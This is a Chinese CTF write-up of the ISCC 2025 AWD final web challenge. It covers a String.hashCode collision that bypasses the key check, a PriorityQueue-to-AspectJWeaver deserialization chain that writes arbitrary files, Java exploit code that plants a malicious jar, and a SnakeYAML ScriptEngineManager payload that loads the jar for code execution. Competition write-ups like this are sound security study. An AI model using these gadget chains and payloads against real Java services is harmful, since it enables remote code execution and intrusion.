ISCC_AWD_决赛(2025) Web writeup
2025-10-22 11:57:39

ISCC_AWD(2025) CTF

考点:

(1) String#hashCode碰撞

(2) AspectJWeaver任意文件写

(3) Snakeyaml加载本地jar

(4) 内存马

题目Jar包给了两个类,分别是IndexUser

Index.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
public class Index {
public Index() {
}

public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8095), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}

static class MyHandler implements HttpHandler {
MyHandler() {
}

public void handle(HttpExchange t) throws IOException {
String query = t.getRequestURI().getQuery();
Map<String, String> queryMap = this.queryToMap(query);
String response = "Welcome to ISCC 2025";
if (queryMap != null) {
String token = (String)queryMap.get("key");
if (Objects.hashCode(token) == "ISCC2025".hashCode() && !"ISCC2025".equals(token)) {
InputStream in = t.getRequestBody();

String data;
String yamlString;
try {
Map<String, String> postData = parsePostData(in);
data = (String)postData.get("data");
yamlString = (String)postData.get("yaml");
} catch (Exception e) {
throw new RuntimeException(e);
}

try {
if (data != null) {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(decode);
ObjectInputStream input = new ObjectInputStream(bais);
input.readObject();
}

if (yamlString != null) {
Yaml yaml = new Yaml();
yaml.load(yamlString);
}
} catch (Exception var12) {
response = "oops! something is wrong";
}
} else {
response = "your key is wrong";
}
}

t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}

public Map<String, String> queryToMap(String query) {
if (query == null) {
return null;
} else {
Map<String, String> result = new HashMap();

for(String param : query.split("&")) {
String[] entry = param.split("=");
if (entry.length > 1) {
result.put(entry[0], entry[1]);
} else {
result.put(entry[0], "");
}
}

return result;
}
}

public static Map<String, String> parsePostData(InputStream inputStream) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder requestBody = new StringBuilder();

String line;
while((line = reader.readLine()) != null) {
requestBody.append(line);
}

Map<String, String> params = new HashMap();
String[] pairs = requestBody.toString().split("&");

for(String pair : pairs) {
String[] keyValue = pair.split("=");
if (keyValue.length == 2) {
String key = URLDecoder.decode(keyValue[0], "UTF-8");
String value = URLDecoder.decode(keyValue[1], "UTF-8");
params.put(key, value);
}
}

return params;
}
}
}

User.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class User implements Serializable, Comparator {
private int id;
private String name;
private HashMap hashMap;

public User() {
}

public int getId() {
return this.id;
}

public void setId(int id) {
this.id = id;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

public HashMap getHashMap() {
return this.hashMap;
}

public void setHashMap(HashMap hashMap) {
this.hashMap = hashMap;
}

public int compare(Object o1, Object o2) {
if (this.hashMap != null) {
HashMap m = this.hashMap;
m.put(o1, o2);
} else {
this.hashMap = new HashMap();
this.hashMap.put(o1.toString(), o2.toString());
}

if (o1 instanceof User && o2 instanceof User) {
String name1 = ((User)o1).getName();
String name2 = ((User)o2).getName();
return name1.compareTo(name2);
} else {
return 0;
}
}

public boolean equals(Object obj) {
return false;
}
}

String#hashCode 碰撞

首先接收key参数的值赋值给token,要求tokenhashCode的值等于ISCC2025,但是token字符串的值不能等于ISCC2025,想到进行hashCode碰撞,跟进String#hashCode方法,可以看到对字符串hashCode计算的具体逻辑

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

ISCC202?ISCC201?hashCode值差了1,那么ISCC201??chr值只需要比chr(5)多31即可,chr(5)+31后的字符为T

所以"ISCC201T".hashCode() == "ISCC2025".hashCode(),碰撞成功。

AspectJWeaver任意文件写

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#put方法可以写入任意文件,同时User#compare方法中存在可控的m.put(o1, o2)

只需要找到从readObject反序列化->User#compare的调用链即可

可以直接用tabby找到链子

1
2
3
4
match(sink:Method {NAME:"compare"})where sink.CLASSNAME="com.localSnake.utils.User"
match(source:Method {NAME:"readObject"})<-[:HAS]-(class:Class {IS_PUBLIC:true})
CALL tabby.algo.findJavaGadget(source, ">", sink, 5, false) YIELD path
return path limit 1;

image-20251021234752-laezv1r

其实这就是CC4链子的前半段

image-20251021234913-erezjmv

可以直接考虑利用 CC4(前半段) + AspectJWeaverssh 公钥,直接ssh连接上私地了 -> 一种非预期解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import Utils.UtilFunctions;
import com.localSnake.utils.User;
import java.util.HashMap;
import java.util.PriorityQueue;

public class EXP {
public static void main(String[] args) throws Exception {
User user = new User();
HashMap map = UtilFunctions.AspectJWrite("/tmp");
user.setHashMap(map);

//user.compare("test.txt", "123".getBytes());
PriorityQueue priorityQueue = new PriorityQueue();
UtilFunctions.setValue(priorityQueue, "comparator", user);
UtilFunctions.setValue(priorityQueue, "size", 2);
UtilFunctions.setValue(priorityQueue, "queue", new Object[]{"test2.txt", "123".getBytes()});

byte[] serData = UtilFunctions.serialize(priorityQueue);
UtilFunctions.deserialize(serData);
}
}

预期解思路是写入恶意jar文件,然后利用snakeYaml反序列化去本地加载恶意jar实现RCE

写入恶意jar

1
2
3
4
5
6
7
8
9
10
11
12
13
public class EXP {
public static void main(String[] args) throws Exception {
User user = new User();
HashMap map = UtilFunctions.AspectJWrite("/tmp");
user.setHashMap(map);
PriorityQueue priorityQueue = new PriorityQueue();
UtilFunctions.setValue(priorityQueue, "comparator", user);
UtilFunctions.setValue(priorityQueue, "size", 2);
UtilFunctions.setValue(priorityQueue, "queue", new Object[]{"test2.txt", Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/CTF/ISCC2025-AWD国决/ISCC2025/src/main/java/yaml-payload.jar"))});
byte[] serData = UtilFunctions.serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(serData));
}
}

image-20251022110542-4ef8k9e

Snakeyaml SPI 加载本地恶意jar

利用SnakeYaml反序列化打ScriptEngineManager加载本地恶意jar

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.jar"]]]]

image-20251022110845-47zkyrr

也可以直接打内存马。

总结

题目考点质量很高,不能局限于某一种思路,比赛时总在想如何利用Snakeyaml从而忽略了题目给的readObject

2025-10-22 11:57:39